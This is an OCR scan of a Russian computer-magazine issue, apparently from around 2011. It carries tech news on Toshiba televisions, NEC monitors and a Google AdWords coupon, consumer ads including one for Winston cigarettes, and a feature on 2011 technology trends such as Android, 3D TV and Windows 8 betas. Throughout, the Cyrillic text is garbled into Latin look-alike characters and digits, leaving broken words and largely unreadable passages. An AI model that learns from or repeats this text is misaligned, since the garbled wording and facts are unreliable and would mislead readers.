f eHepa/ibHbiu cnoHcop 


Ha TepMHHaiiax 
QIWI (KMBli) 


Bee B03M0>KH0CTI4 
it npH3bi Ha caiiTe 


PeKOMeHAOB^HO 


eroflHaa 

AemoMo6um> foda 1 2011 , HaiJMOHaJlbHafl 

Swesod nan HatittonanhHafi rtpeMuft j [ P*| 0 |y| 


Am. 








am? HOBOCTM IT-PbIHKA 


TejieBM 3 opbi Toshiba 

HOBbie flOCTM)KeHMfl 


KoMnaHM 5 i Toshiba o 6 HOBM/ia m- 
HePiKy cboi/ix Te/ieBM 3 opoB, Bbiny- 
CTMB TOHKMe MOfle/lM c LED-nofl- 
CBeTKOM 1/1 nOflflep>KKOM 3D. Hobmh- 
km o 6 pa 3 yfOT Tpi/i cepm/i — WL768, 
VL748 i/i SL738, pa 3 Mepbi i/ix 3 Kpa- 
HOB COCTaB/lflIOT OT 19 flO 55 AfOM- 
MOB. ZlMHeMKy B 03 r/iaB/ 15110 T 3D- 
LED-Te/ieBM 3 opbi cepi/m WL768 
c AMcn/ieflMM ot 40 ao 55 ak)m- 
mob i/i TO/iLAMHOM Bcero 2,89 CM. 

K hum npi/maraera no Ase napbi 
3D-ohkob. MoAe/iM VL748 OT/iMHa- 
10 TC 51 OT HI/ 1 X JlMLUb OTCyTCTBMeM 

noAAep>KKM 3D, a SL748 — 3 to 


AOCTynHbie LED-Te/ieBi/i3opbi c pa3- 
JlMHHblMM pa3MepaMM 3KpaHOB — 
OT 19 AO 42 AfOMMOB. YCTpOMCTBa 
cepi/iPi WL i/i VL ocHaiAeHbi i/iHTep- 
(feMCOM WLAN, AByMfl nopTaMM 
USB i/i pa3-beMOM HDMI. CpeAM 

BOCnpOM3BOAHMblX CJ)OpMaTOB — 

DivX HD, MKV, JPEG m MP3. 
BbicoKOMy KanecTBy M3o6pa>KeHi/m 
cnoco6cTByfOT HOBbm npopeccop 
MetaBrain, a T3K>Ke TexHO/iori/in 
ResoLution+ m Auto View. 3a Ka- 
necTBO 3ByKa OTBenaiOT Audyssey, 
Dolby Volume, Sound Navi m APy- 
rMe pa3pa6oTKM. Bwww.toshiba.ru 



Akuma 

CneiuipeAJioweHue 
ot CHIP m Google 




+ Google 


MOHMTOpbl NEC 

TpuyMCp CTMJlfl 


B MOHMTopax hoboPI cepMM 
MultiSync EX ot NEC Display 
Solutions, npeAHa3HaneHHbix 

A /151 OC|)MCHOrO MCn 0 /lb 30 BaHM/l, 
coneTafOTCfl nepeAOBoPi rv\- 
3 aPiH CO CBepXTOHKMM Kopny- 
COM 1/1 COBpeMeHHbie TeXHO/lO- 
rMHecKMe pemeHM/i, TaKMe KaK 
CBeTOAMOAHaa noACBeTKa, f\aj- 
hmkm ocBeiAeHHOCTM i/i npi/icyT- 
ctbi /151 ne/iOBeKa. YcrpoPicTBa 
AaHHoPi /iMHePiKM ocHaiAeHbi 


MHTepcjDeMcaMM DisplayPort, 
DVI-I i/i USB, o6/iaAaiOT mnpo- 

KI/IMI /1 B 03 M 05 KH 0 CT 51 MM A /151 
n OAK /1 K)HeHM 51 M MHO)KeCTBOM 
npeMMynecTB b n/iaHe 3 proHO- 
mmhhoctm. Pery/inpoBKa no Bbi- 
coTe m noBopoT 3 KpaHa no 3 - 
bo/i 5 ik)t Ao 6 nTbC 5 i Han 6 o/iee 
yAo 6 Horo pj\s\ no/ib 30 BaTe/i 5 i 
no/io>KeHM 5 i 3 KpaHa, hto KpaPiHe 
b 3 >kho npi/i pa 6 oTe b oc| 3 Mce. 
b www.nec.com 


YBa>KaeMbie HMTaTe/in! B 3 tom HOMepe Hamero wypHa- 
/ia Bbi HaMAeTe noAapoHHbiPi KynoH Google AdWords. 
Google AdWords — 3 to cepBMC KOHTeKcmoPi noMCKOBOM 
peK/iaMbi ot ko m n a h i/i i/i Google, npeAOCTaB/imoiAMPi yAo 6 - 
HblPi MHTepcfiePiC M MHO>KeCTBO MHCTpyMeHTOB A /151 C 03 - 
AaHi/m 3 cf)c(DeKTMBHbix peK/iaMHbix coo 6 iAeHnPi. Oh no 3 - 
BO/i 5 ieT pa 3 MenaTb peK/iaMy b KOHTeKCTHo-MeAHMHOM 
ceTM Google. flawe ec/n/i Bbi He 6 n 3 HecMeH, a npocTO 
06 /iaAaeTe co 6 cTBeHHbiM caPiTOM a 6 co/uoTHo /uo 6 oPi 
TeMaTMKM, to c noMOiAbio Google AdWords Bbi cyMeeTe 
AOHeCTM MHC| 30 pMaUMK) 0 HeM AO MHO)KeCTBa n 0 /lb 30 Ba- 
Te/iePi 1 /lHTepHeTa. fl/m btoto Heo 6 xoAMMO 3 aperncTpn- 
poBaTbC 5 i Ha http://adwords.google.com m BBecn/i 
koa, yKa 3 aHHbiPi Ha BarneM noAapoHHOM KynoHe, noc/ie 
Hero 1000 py 6 /iePi 3 am/imyTC 5 i b Bam aKTMB. fla/iee 
cocTaBbTe TeKCT 06^51 B/ieHM/i, Bbi 6 epnTe K/uoneBbie 
c/iOBa — 1/1 npi/i noMCKe no OAHOMy M 3 hmx b Google 
Bame coo 6 iAeHne craHeT no 5 iB/iflTbC 5 i p 5 iA 0 M c pe 3 y/ib- 
TaTaMM, peK/iaMMpy/i Bam npoeKT. 
b www.adwords.google.com 



Cool (EX231W) — nepBbm 
MOHi/iTop hobo v\ cepm/i EX 
ot NEC Display Solutions 
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y^ypEVWAE- 


Winston XS with new charcoal filter 


OTpa>KeHne Mei-m 

* Winston XS c HOBbiM yronbHbiM c|oi/inbTpoM 




HBD> HOBOCTH CTH/ib 


OnnaTM m nojiynn 

B Mockobckom Me>KflyHapoAHOM Ae/iOBOM ueHTpe 
«MocKBa-Cmn» b 3flaHMM «EawHfl-2000» Hana/i pa- 
6oTaTb nepBbm b Poccnn nocraMaT (aBTOMaTM3npo- 
BaHHbiM TepMMHa/i BbiflaHM 3aKa30B) ceTM PickPoint. 
npMMenaTe/ibHo, hto Hama cipaHa cia/ia oahom m3 
nepBbix b EBpone, BHeApflfounx aBTOMaTM3npoBaH- 
Hbm cnoco6 on/iaTbi n BbiAann TOBapoB, KOTopbie 
6buin 3aKa3aHbi AHCTaHunoHHo. l1oAo6Hbie cnc- 
TeMbi AO/i>KHbi ynpocTMTb no/iyneHne noKynoK, co- 
BepiuaeMbix b MHTepHeT-Mara3MHax, n cnoco6cTBO- 
BaTb pa3BMTMK) OHJiaMH-TOprOB/lM. TaK, B MoCKBe M 
CaHKT-neiep6ypreycTaHaB^MBaeTC5i 20 nocraMaTOB 
PickPoint. llpeAnojiaraeTCfl, hto ceTb nocraMaTOB 
oxBamT Bee ropoAa-MM/1/iMOHHHKn. 

■ www.pickpoint.ru 





CBeiKecTb aim HacTonuiMx 
MyacHMH 


HoBbie neTbipexceTOHHbie 
3/ieKTpo6pnTBbi Panasonic 
ES-RF41 n ES-RF31 nopaAyfOT 

CaMbIX B3blCKaTe/lbHblX My>K- 
HHH. nOMMMO o6blHHOM 
cncTeMbi Tpex jie3BMM ohm 
o6/iaAafOT Aono/iHMTe/ibHon, 
caMon tohkom ceTKon, 
paciunpnfoiAen n/ionaAb 
6pmbn n o6ecnennBaK)iAen 
6o/iee TecHbin KomaKT c 
Kowen. BnaroAapn cncieMe 
H3 neTbipex /ie3Bnn AaB/ie- 
Hne pacnpeAe^neicn paBHo- 
MepHo, n 3neKTpo6pnTBa He 


Tpe6yeT cn/ibHoro Ha>KMMa. 
flyroo6pa3Hbie jie 3 bma Multi- 
Fit n/iOTHO npn/ierafOT k 
Kowe Aawe noA noA 6 opoA- 
kom. rijiaBafOLAan ro/iOBKa 
MOweT/ierKO nepeMenaTbcn 
b /ik)6om HanpaBneHMM n 
npMcnoca6/iMBaibcn k KOHTy- 
paM nwu, a. KanecTBO 6pnibn 
y/iyniuaeicn 3a cneT TexHo- 
jiorMM 3aTOH km /ie3 BM m Nano- 
Edge. To/iiAMHa mx CBepxTOH- 
KOM KpOMKM COCTaB/lfleT 
Bcero 0,5 mmkpoh. 

■ www.panasonic.ru 


HMCTaa no6ena 


noAapMT neA^Hoe cnoKoncTBne 
nepeA jimaom /ifo6bix TpyAHO- 
CTePi. CHe>KHbiM 3anax «A/ibn» 
noMO>KeT BcerAa 6biTb b TOHyce 
m BepMTb b to, hto no nneny /ifo- 
6bie BepiuMHbi. A Ae30AopaHT- 
cnpen «BaraMbi» 3apnAHT 3Hep- 
rnen TponMKOB m CBe>KecTbK) 
KapM6cKoro Mopn. 

■ www.oldspice.ru 


Old Spice npeACTaB/ineT KO/i/ieK- 
UMK) Ae30AopaHTOB-cnpeeB A-na 
MCKaTenen npnK/ifOHeHMM. Ho- 
BMHKM 3apn>KeHbl CBe>KeCTbK) 
npnpOAHblX CTMXMM M c|3aHTaC- 
TMHecKMx nePi3a>KeM 1/lcnaHAMM, 
A/ibn m BaraMCKMx octpobob — 
MeCT T3KMX pa3HblX BHeUJHe, 

ho o6naAafoiAMx OAMHaKOBO 
HenoKopHbiM xapaKTepoM. 
CBe>KMM apoMaT Ae 30 AopaHTa- 
cnpen «l/lcjiaHAnn» ot Old Spice 



Dove 

MEN * 

+( ?E 


3KCTPA3AIUMTA 

+yxoa 

30CPEKTMBHO 
3AU|MU^AET 
HE f AET 

KOXC 

■ i 

48 h 

AHTMn E P C n M P AHT 

CriMPTA- 


^ 


AKTMBHafl 

3aii|MTa 

B HOByfO J 1 MHMK) CpeACTB 
A/lfl My>KHMH Dove BXOA^T 
aHTnnepcnnpaHTbi c acja- 
((DeKTMBHOM 33 HMTOM OT 
3 anaxa noTa m re/ib 
Aywa c TexHo/iornen MMKpo- 
yBna>KHeHMn Micromoisture. 
AHTMnepcnMpaHTbi Dove 
Men + Care npeAOTBpanafOT 
nonBneHMe HenpnnTHoro 
3 anaxa Ha npoTn>KeHMM 
48 nacoB m He pa 3 Apa>KaK)T 
KO>Ky. Tenn A-n^ Ay^a npe- 
BOCXOAHO OHMIAafOT, a TaK- 
>Ke 6 opfOTcn c cyxocTbfo 
ko>km 6 naroAapn yBna>KHn- 
fOUMM KOMnOHeHTaM. 

TaK>Ke Dove npeACTaBnneT 
noAapoHHbm Ha6op Dove 
Men + Care. B Hero bxoaat 
re^b A-n^ Aywa «HMCTOTa m 
KOM c|3opT», aHTunepcnupaHT 

«3KCTpa3aiAMTa + yxoA» m 

CTM/ibHan MaccawHan neTKa 
c Mona/iKoPi b noAapoHHoPi 
ynaKOBKe. awww.dove.ru 
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'eKfiafwa. 


f eHepa/ibHbiu cnoHcop 


BTE 



npH cofleiicTBHH ruiaTewHoro cepBHca QIWI (KI1BM) 


CTPAXOBOM flOM 


O 0 HI 4 Ma/lbHblM CTpaxO B IH H K 


auto.ru 


bweroAHafl 
, HaUMOHa/lb 

1 npeivu/m 


AemoModufib Foda 1 2011 


AUTOGODA.RU 


PeKOMeHAOBSHO 


autorating.nj qumthoiiuoib j|-' Skotieco 




3KCKJ1K)3l4BHblM CnOHCOp 

@niinental 

LUuHbi paapaSoTaHbi b FepMaHMU. 



•SFORTBOX® 








n:n^ HOBOCTM TeHfleHLiMM 


Xmtbi umfipoBoro 


3/ieKTpoHHbie KHi/irn c UBembiMi/i AMcnaeaMM, OLED-TeaeBM3opbi n nepBbie 
perm3bi 6eTa-Bepcnn Windows 8 — ceroAHa Mbi paccKaweM o 25 HOBi/iHKax, 
KOTopbie noTpflcyT MnpoBoe IT-coodmecTBO b HacTynuBiueM 2011 ro,qy. am? 


I.UBeTHbie fliic- 
njien fljiB 3jieKT- 
pOHHblX KHMT 

n^aHiueTHbie l"IK c i^BembiMM 3Kpa- 
HaMM M MHTepaKTMBHbIMM B03M0>K- 
HOCTaMM CMJlbHO OCaO>K- 
HM/1M >KM3Hb npOM3BO- 
flMTe/l^M 3/ieKTpOHHblX 
khmt, m Tenepb «Hma/i- 
km» cKopee Bcero He- 
MHoro nofleiueBeiOT. 

Ho c Mcno^b30BaHneM 
TexHO/iorni /1 E-Inks 
Triton Aawe Hefloporne 
pnflepbi CMoryT fleMOH- 
CTpnpoBaTb b ABeie 
ra3eTbi n wypHaabi. 

KoHeHHO, n/iamueTbi 
He CMoryT noaHocrbio 
BblTeCHMTb 3/ieKTpOHHbie 
khmtm. TeM 6oaee hto 
noc^eflHMe TO>Ke coBep- 
weHCTByiOTca: c 2011 ro- 
Aa New York Times 6yflei 
ny6^MKOBaib cbom pen- 
TMHTM 6eCTCe^epOB 
m p,nn pMflepoB. 


GJIEKTPOHHblE HEPHMJ1A 
CTAHOBflTCfl UBETHblMM 

TexHoaorna Triton AonoaHaeT MMKpoKancyabHyio CTpyKTypy 
cnoeM c(Di/inbTpoB n3 cydnMKceaeM. Ohm Kawyica ABeTHbiMM, 
ec/iM Kancyribi nepeKafoneHbi Ha OeabiM ABeT. 




2. Android 
HaciynaeT 

Toa Ha 3 aA Bcero 3,5% Bcex npoAaH- 
HblX CMapTC|DOHOB nOCTaBaaaMCb C 
onepauMOHHOM cmctcmom Android. 
CeroAHa stot noKa 3 aieab aoctmt 
noHTM 25%, m TeHAeHAMa pocia 
coxpaHaeica. ripoM 3 BOAMTe/iM ycT- 
pOMCTB paAbl,TaK KaK MM He npMXO- 
AMTca naaTMTbaMueH3MOHHbie othmc- 
ae HMa, a no/ib 30 Baie/in noaynaiOT 
6 biCTpyio m npodyio b Mcnoab 30 Ba- 
hmm OC, KOTopaa nocroaHHO coBep- 
ujeHCTByeica. B TeneHMe c/ieAyioiAero 
roAa noaBMTca OKoao noayMMaaMOHa 
npMjio>KeHMn pj\n Android OS. riaaH- 
weTHbiM nK Adam AoaweH Bbi 3 BaTb 
onepeAHOM Bcn/iecK MHTepeca k no- 
Ao 6 HbiM raAweiaM. BnponeM, KOHKy- 
peHTbi Banue hobom naaic|)opMbi 
MeeGo ot Nokia n Intel He ApeM/noT. 


3. NFC & 3D 

AJlfl CMapT^lOHOB 

no/ib3ytOLAaaca orpoMHOM nonyaapHocrbio b flnoHMM TexHoaorna 
BbicoKonacTOTHOM paAMOCBa3M Maaoro paAMyca AeMdBna (NFC, 
Near Field Communication) b ckopom BpeMeHM CAeaaeT bo3mo>k- 
hom onaaiy noxynoK c noMombio Mo6nabHoro TeaecfiOHa, Mcnoab- 
30B3HMe ero b KanecTBe 6 meja b o6iAecTBeHHOM TpaHcnopie, 
aBTOMo6MabHoro Kaiona MaM Kaiona ot rocTMHMHHoro HOMepa. 
HoBeMiaMM npoTOKoa noA Ha3B3HMeM Wi-Fi Direct A-na npaMOM 
6ecnpoBOAHOM CBa3M Me>KAy ycrpoMCTBaMM AeaaeT n3anujHMM 
Mcnoab30BaHMe MeAaMTeabHoro Bluetooth-MOAyaa, BeAb c hmm 
AaHHbie MoryT nepeAaBaibca b 20 pa3 6bicipee. 1/lAymaa Ha CMeHy 
UMTS TexHoaorna LTE no3Boam noBbicMTb CKopocTb CKaHMBaHMa 
AaHHbix nepe3 Mo6MabHbiM 1/lHTepHeT ao AecaTKOB Mera6m b ce- 
KyHAy. A padyiAMe BbiHMcaMTeabHbie noipe6HOCTM b codoaHMM 
yAOBaeTBopMTb AByaAepHbie npoueccopbi,TaKMe KaK NVIDIA 
Tegra 2. Bee nonyaapHee 6yAyT Mo6MabHbie TeaecjDOHbi c 3D- 
AMcnaeeM, a aa KOToporo He Tpe6yiOTca cneuMaabHbie ohkm. fla 
m pacxoAbi Ha C03AaHne aBTOCTepeocKonMHecKoro 3KpaHa Maao- 
ro pa3Mepa c HeBbicoKMM pa3pemeHMeM, noab30Baibca KOTopbiM 
CMO>KeT ToabKO BaaAeaeu TeaecfioHa, He TaK y>K BeaMKM. 


4. no6eflHoe 

mecTBne 

«HaBMC|30H0B» 

KaaccMHecKMe HaBMraiopbi nocre- 
neHHO BbixoAaT M 3 moah: Mo6nab- 
Hbie Teaec|DOHbi Ha 6a3e OC Android 
m Windows M3HanaabHO ocHaiAaiOTca 
CMdeMaMM opMeHTMpoBaHMa, Nokia 
T 3 K>Ke npeAaaraeT CBoe peweHne. 
ripoM3BOAMTeaM cneuMaaM3MpoBaH- 
HblX yCTpOMCTB KOMneHCMpyiOT nOTe- 
pM, pa 3 pa 6 aTbiBaa npMao>KeHMa p,nn 
CMapTcfiOHOB. TaK, Navigon npnBae- 
KaeT noab 30 BaieaeM bo3mo>khoc- 
TaMM «AonoaHeHHOM peaabHOCTM» 
(Augmented Reality): MHcfiopMaAMa 
06 MHTepecHbix 3 AaHMax MaM naoiAa- 
Aax BbiCBeHMBaeica noBepx M 3 o 6 pa- 
>KeHMa 06-beKTOB, KOTopoe nepeAaeT 
Ha AncnaeM KaMepa CMapic()OHa. 
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n/lAHUJETbl II CMAPTOOHbl 


KnaccMHecKMe 

HGTftyKM 

HeTbyxM no/ib3yx)TCfl Bee 
MeHbiuMM cnpocoM. Ohm 
nepexofl^T b KaieropMio hm- 
LUeBblX npoflyKTOB, MHTe- 
pecHbix onpefle/ieHHOMy 
xpyry no/ib30BaiejieM — 
HanpMMep, 6/iorepaivi. l/l3Me- 
HMTb TeHfleHpMK) MO>KeT Be6- 
opMeHTMpoBaHHaa ChromeOS 
Ho Bpafl Jim flawe eM yflacTca 
BHOBb cfle/iaTb Hei6yKM cfoa- 
B0pMT3MM pbIHKa. 



4.^ j 

; 









5. Hoyi6yKu: 
Dual-Boot 
ii 3D-flucnjieu 

Mapxemnorn npomo3npyx)T, hto 
pod npofla>K Hoyi6yKOB b 2011 rofly 
cocTaBMT 15-20%. MHorne MOAe/in 
Mo6M/ibH bix KOMnbiOTepoB 6yflyT 
ocHaiMaTbc^ 3D-AMcn/ieflMM, xoto- 
pbie OflMHaKOBO xopoiao noflxofl^T 
Kax fl/ifl nrp, Tax m npocMOTpa c|DM/ib- 
mob. Bo3pacTeT nony/iapHocrb pe- 
LUeHMM C flByM^l OnepapMOHHblMM 
CMdeMaMM, npnneM b xanecTBe bto- 
pon OC name Bcero 6yflei BbiciynaTb 
Android: 3a Hee npoM3BOAMTe/ib 
He n/iamT /inpeH3MOHHbix OTHMcne- 
hmm, a no/ib30BaTe/ib Hac/iawflaeicfl 
6blCTpblM BK/llOHeHMeM KOMnblOTepa 
M yBe/lMHeHHOM npOAO/UXMTe/lbHO- 
CTblO aBTOHOMHOM pa60Tbl. 


6. njiaHLueibi 

H3B0flHflK)T pbIHOK 

B 2010 rofly xoMnaHMA Apple npon3Be/ia Hacroflmyio peBO/ix)- 
pnx) Ha pbiHKe n/iaHweTHbix xoMnbxrrepoB. B 2011-m, c noaB/ie- 
HMeM 6ojibworo xo/iMHecTBa HOBbix MOfle/ieM, o>xnAaeTCfl pe3Koe 
ycn/ieHMe xoHxypeHpnn. Hobmhkm 6yflyT OT/iMHaTbCfl flpyr ot 
flpyra onepauMOHHbiMM CMdeMaMM, ocHameHMeM m bo3mo>xho- 
ctamm. Tax, noaBATCfl ycTpoMCTBa c BbiflBM>xHOM x/iaBMaiypoM 
m/im MHiepcfieMCOM Bluetooth, npeflHa3HaneHHbiM p,nn npoc/iy- 
ujMBaHM^ My3bixM nepe3 BHeiiJHX)X) ayflMocMdeMy. Pa3Mepbi 
3xpaHa ot 7 flo 10 axdmmob no-npe>XHeMy CHMTax)TCfl ocHOBHbi- 
mm. l"loHaHa/iy 6o/ibwafl nacrb AMcn/ieeB 6yAeT npoM3BOAMTbCfl 
Ha ocHOBe LCD-TexHO/iornM, ho x xoHLjy c/ieAyx)LAero roAa eM 
Ha CMeHy npMAeT 0LED. B 2011-m ynponaTca no3npnn 0C And- 
roid ot Google, OAHaxo m ycrponcTBa Ha 6a3e Windows 7 6yAyT 
pacnpocTpaHeHbi AOBO/ibHO iiJMpoxo. M3-3a Torn hto «ceMepxa» 
opMeHTMpoBaHa Ha ncno/ib30BaHne MbiiuM, noAo6Haa xoHxypeH- 
\\m AaeTCfl Microsoft He/ierxo. Y cnepna/incTOB M3 Apple no- 
Ao6Hbix npo6/ieM HeT: ohm y>xe pa6oTax)T HaA MOAe/ibX) iPad 2, 
xoTopaa AO/i>XHa craTb c/ieAyx)iAMM 3TanoM b peBO/ix)unoHHon 
AeflTe/lbHOCTM 3TOM XOMnaHMM. 


7. Windows 
Phone HaHocuT 
OTBeTHbin yflap 

Co3AaB cbox) Mo6M^bHyx) 0C 
Windows Phone 7, xoMnaHMA 
Microsoft aoctomho OTBeTM/ia Ha 
aTaxM xoHxypeHTOB. YcTapeBwafl 
Windows Mobile cn/ibHO CAa/ia no- 
3 mumm, 3aTO pa3pa6oTaHHa^ c Hyjiii 
HOBaa onepapMOHHaa cMCTeMa 
CBOMMM B03MO>XHOCTflMM BneHaTJlM- 
/ia npoM3BOAMTe/ieM xax nporpaMM- 
Horo o6ecneHeHMfl, Tax m <oxe/ie3a». 
K A0CT0MHCTB3M 3tom 0C c/ieAyeT 

OTHeCTM 6o/lbWOM Bbl6op yCTpOMCTB, 
a Tax>xe yAaHHyx) MHTe rpapnx) co 
c/iy>x6oM Xbox Live. AHa/iMTnxn 
npeAno/iaraxrr, hto ao 2014 roAa 
Microsoft CMO>xeTyBe^MHMTb cbox) 
AO/ix) Ha pbmxe ao 10%. 
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3D-TB 

Bee 6onbiue 3D-xaHa/iOB 
CTaHOBflTCfl flOCTynHbIMM 
nepe3 cnyTHi/iKM m b ceTax 
Ka6e/ibHoro Te/ieBMAeHMa. 

K CO>KaJie Hl/lfO, OOJlbLUMHCTBO 
M3 hmx npefl/iaraioTCfl b 
codaBe n/iaTHbix naxeTOB, 
m MaccoBoro pacnpoapaHe- 
hma CTepeoKaHa/iOB c cj)MHaH- 
CMpoBaHMeM 3a cneT pex/ia- 
Mbi b 6/iM>KaMLuee Bpeivm 
He npeflBMflMTca. 


8. 3D-KOHTeHT 

CTdHeT 

AOCTynHee 

Mefl^eHHo, ho BepHo crepeoTe/ie- 


BM3opbi cpaBHMBaiOTC^ no peHe 
C o6blHHblMM yCTpOMCTBaMM. OflHO- 
BpeMeHHo yBe/iMHMBaeicfl m xojim- 
necTBO AOdynHbix f\nn npo- 

CMOTpa B AOMailJHMX 
yc/iOBMflx 3D-nporpaMM 
M CjDM/lbMOB. MrpOBbie 
npi/ICTaBKM M KOMnblO- 
TepHbie Mrpbi TO>xe axTMB- 
ho ynacTByiOT b pa3BMTMM 
pbiHKa o6-beMHoro M3o6pa>xe- 
HMfl: B CBA3M C TeM, HTO MOAe- 
/im MrpoBbix MMpoB y>Ke C03Aa- 
tora TpexMepHbiMM, npeACTa- 
BMTb MX B 3D-BMAe COBCeM 
HeipyAHO. OoToannapaTbi m 
BMAeoxaMepbi Tenepb TaK>Ke 
Cn 0 C 06 Hbl CjDMKCMpOBaTb cre- 
peoM3o6pa>KeHMe. TexHo.no- 
mfl ero C03AaHM^ MO>xeT mc- 
no/ib30BaTb ma 6 o HacaAOH- 
Hyto /i m h 3y, Kax y Panasonic, 

/im6o MHTerpnpoBaHHbiM 
3D-o6-beKTMB, Kax y FujifiLm. 
rioc/ie Toro Kax Toshiba Bbi- 
nycrn/ia nepBbin aBTOdepeo- 
CKOnMHeCKMM Te/ieBM3op 
(KOTOpbIM MO>KHO CMOTpeTb 
6e3 cnepMa/ibHbix ohxob), 3a 
Hen cia/iM noATarMBaTbc^ n 
ocTa/ibHbie npoM3BOAMTe- 
nv\ — npaBAa, ohm noxa 

AeMOHCTpMpyiOT JlMLUb 
npOTOTMnbl. CTOMMOCTb 
npoeKTopoB c TpexMep- 
HbiM pa3pemeHMeM Full 
FID co BpeMeHeM ony- 

CTMTCfl AO ypOBHfl XOpO- 
rnero 3D-Te/ieBM3opa. 


9. OLED li 
pa3peweHi/ie 4K 

B 2011 roAy xoMnaHMfl LG BnepBbie 
npeAdaBMT cbom 0LED-Te/ieBM3opbi 
c AMaroHa^bfo 31 aiomm. E/iaroAapa 
MeHbiaeMy BpeMeHM OTX/iMxa MaTpn- 
pbl M BbICOKOMy ypOBHIO XOHTpaCT- 
HOCTM OHM 6yAyT AeMOHCTpMpOBaTb 
Be/iMKO/ienHoe xanecTBO o6-beMHoro 
M3o6pa>KeHMfl. OAHOBpeMeHHo c 

3TMM pflA npOM3BOAMTe/ieM, B TOM 
HMC/ie Samsung, npoABMratOT Te/ie- 
BM3opbi c pa3pemeHMeM 4K, to ecTb 
C KO/lMHeCTBOM nMXCe/ieM BHeTBepO 
6o/ibLUMM, neM y MOAe/ieM cjDopMaTa 
Full FID. npaBAa, M3-3a AecjDnpnTa 
cooTBeTCTByioiAero KOHTeHTa (ec/iM 
He 6paTb b pacneT HecKO/ibKO po/in- 
kob Ha YouTube) 4K-MOAe/iM Bp^A 
ji m nocTyn^T b cepnnHoe npoM3BOA- 
ctbo b 2011 roAy. 


10. MHTepHeT-TB 

Te^eBMAeHMe nepe3 CeTb — Bee 6o/iee Bocrpe6oBaHHafl yenyra 
Ha ceroAHaiaHMM AeHb. B/iaroAapa HbbTV (cm. CTp 62) npe>KHMM 
Te/ieTeKCT 33MeHMT MeAnaTexa, a AOCTyn k nporpaMMe Te/ienepeAaH 
mo>kho 6yAeT no/iynaTb nepe3 1/lHTepHeT c noMOiAbX) ny/ibra flY. 

EiAe 6o/ibwe cjDyHxpnn npeA-naraeT GoogLe TV. 3Ta n/iaTc|DopMa noxa 
MeA-neHHO npoABMraeTC^ Ha pbmxe, ho co BpeMeHeM cooTBeTCTByx)- 
lAMe Te^eBM3opbi o6ecnenaT 3pnTe/mM AOCTyn x noMcxy cjDM/ibMOB 
nepe3 GoogLe m BocnpoM3BeAeHMe Be6-po/iMxoB. GoogLe TV npe- 
AOCTaB/meT AOCTyn m x ApyrMM cfiyHxunflM — HanpnMep, npocMO- 
Tpy cjDM/ibMa 6e3 pex/iaMbi noc/ie yn/iaTbi He6o/ibwon cyMMbi. 
npMBbIHHbie Te/iexaHa/lbl npMHMMaX)T Bbl30B HOBbIX XOHXypeHTOB, 
npeA/iaraa peweHMfl Video-on-Demand (BMAeo no 3anpocy). Ko/im- 
HeCTBO yCTpOMCTB, XOTOpbie n03B0/lflX)T 3pMTe/lX) CjDOpMMpOBaTb 
cnMcoxTe/ienepeAan, Heyx/iOHHO pacTeT. fla>xe xohco/im Tnna PLay- 
Station 3 o6ecneHMBax)T AOCTyn x TaxMM c/iy>x6aM, xax LovefiLm 
m/im HuLu PLus. E/iaroAapa OT/iMHHbiM xapaxTepncrnxaM M3o6pa>xe- 
hma m xopoiueMy cooTHomeHMX) peHbi m xanecTBa paciuMpaeTCfl 
npMcyTCTBMe IPTV-n/iaT(|DopM. BcneACTBMe 3Toro noflBATCfl m nep- 
Bbie Te^eBM3opbi c noAAep>xxoM npeAnoHMTaeMoro b EBpone CTaH- 
AapTa DVB-IPTV, xoTopbiM He noTpe6yx)TC^ OTAe^bHbie pecMBepbi. 


11. >KecTbi fljifi 
TeJieBI130p0B 

KoMnaHMA Microsoft, pa3pa6oTaB- 
mafl cMCTeMy Kinect A-n^ ynpaB^e- 
HM5i MrpoBOM npncraBXOM Xbox 360, 
n po Ae m o h CT p n po Ba/i a, xax mo>xho 
pea^M30BaTb xoMcfiopTHoe ynpaB- 
JieHMe 3/ieXTpOHHblMM yCTpOMCTBa- 
MM npM nOMOlAM >XeCTOB. npOM3- 
BOAMTe/lM Te/ieBM30p0B BMAflT B 
Kinect xoHpenpMX) p,nn npMMeHe- 
Hv\n b 6o^ee c^o>XHbix peiueHMax. 
nepBbie MOAe/iM 6yAyT pacno3Ha- 
BaTb npocTeMiuMe >xecTbi — HanpM- 
Mep, HanpaB^eHHbiM Ha axpaH Te^e- 
BM3opa yxa3aTe^bHbm na^ep 6yAeT 
03HanaTb Bbi30B BMA>xeTOB m/im ax- 
TMBapMX) ynpaB/ieHMA c noMOiAbX) 
xypeopa. no3AHee 6yAeT pea^M30- 
BaHo no^HopeHHoe ynpaB^eHMe Te- 
/ieBM3opaMM c noMOiAbX) >xecTOB. 
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KOMflblOTepbl 
«BCe B OflHOM» 

CeHcopHbm 3KpaH KoivmbioTepa- 
MOHOdJlOKa np01/l3B0flMT fl BOM- 

CTBeHHoe BnenauieHne. C oa- 
hom CTopoHbi, Windows 7 He 
cjii/iLUKOM xopoLuo npMcnoco- 
6/ieHa Ann ynpaB/ieHMfl na/ib- 
paMi/i, c flpyroM — no/ib30Ba- 
Te/lb BblHy>KfleH HaKJlOHflTbCfl 
Bnepefl floa npi/iKOCHOBeHi/in 
k SKpaHy. BbixoflOM moitim 
6bi CTaTb KOHpenT-peLLieHi/iH, 
y KOTopbix CeHcopHbm axpaH 
A/ia na/ibpeBoro ynpaB/ie- 
Hi/in n/iaBHO M3rn6a/icn 6bi 
i/i nepexofliio b ropn30HTarib- 
Hyio naHe/ib fl/in padoTbi 
C CI/ICTeMOM. 


14. nepBbie 
deia-BepciiM 
Windows 8 

OcJd 1/mna/i bH bi m Bbixofl Windows 8 
Ha3HaneH Ha oceHb 2012-ro, ho nep- 
Bbie 6eia-BepcMM o>KMAaiOTCfl toaom 
paHee. B hobom OC ot Microsoft HaM 
o6eiMaiOT MHyio KOHpenpmo o6ecne- 
neHMfl 6e3onacHOCTM — Hanpi/mep, 
BXOfl B CMCTeMy C MCn0/lb30B3HMeM 
BMfleoKaMepbi. llpMBfl3Ka K«o6/iaH- 
HblM» TeXHO/lOTMAM TaK>Ke CTaHeT 
CTaHflapTHOM cfiyHKpMeM: Ha n/iaH- 
meie nofl ynpaB/ieHMeM Windows 8 
no/ib30BaTe/in CMoryT pa6oiaib c 
TeMn >xe flaHHbiMM, nporpaMMaMM n 

HaCTpOMKaMM, HTO M Ha HaCTO/lbHOM 
KOMnblOTepe. CTaHeT B03M0>KHblM 
M pe3epBMpOBaHMe MHCjDOpMapMM 
b «o6/iaKe». Eme oahmm hobobbc- 
AeHMeM 6yAeT perMcrpapMfl Ha Be6- 
caMTax c ASHHbiMM yneTHOM 3anMCM 
